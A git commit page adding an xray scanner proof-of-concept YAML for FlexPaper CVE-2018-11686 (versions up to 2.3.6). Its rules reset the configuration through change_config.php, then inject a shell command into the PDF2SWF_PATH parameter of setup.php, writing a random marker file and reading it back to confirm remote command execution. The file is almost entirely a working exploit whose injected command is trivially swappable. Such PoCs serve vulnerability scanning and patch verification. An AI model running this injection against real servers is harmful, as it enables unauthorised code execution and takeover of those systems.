优化xray解析模块,支持groups、新增poc

2026-09-27 05:31:53 +08:00 · 2021-11-16 14:42:35 +08:00
parent 858c28724b
commit b06d7ac94c
313 changed files with 4314 additions and 760 deletions
@@ -0,0 +1,38 @@
+name: poc-yaml-flexpaper-cve-2018-11686
+set:
+  fileName: randomLowercase(6)
+  verifyStr: randomLowercase(6)
+rules:
+  - method: POST
+    path: /php/change_config.php
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a
+    expression: |
+      response.status == 302 || response.status == 200
+  - method: POST
+    path: /php/change_config.php
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a
+    expression: |
+      response.status == 302 || response.status == 200
+  - method: GET
+    path: >-
+      /php/setup.php?step=2&PDF2SWF_PATH=printf%20{{verifyStr}}%25%25{{verifyStr}}%20%3e%20{{fileName}}
+    follow_redirects: false
+    expression: |
+      response.status == 200
+  - method: GET
+    path: >-
+      /php/{{fileName}}pdf2swf
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(verifyStr + "%" + verifyStr)))
+detail:
+  author: Soveless(https://github.com/Soveless)
+  Affected Version: "FlexPaper <= 2.3.6"
+  links:
+    - https://github.com/mpgn/CVE-2018-11686
+    - https://cloud.tencent.com/developer/article/1472550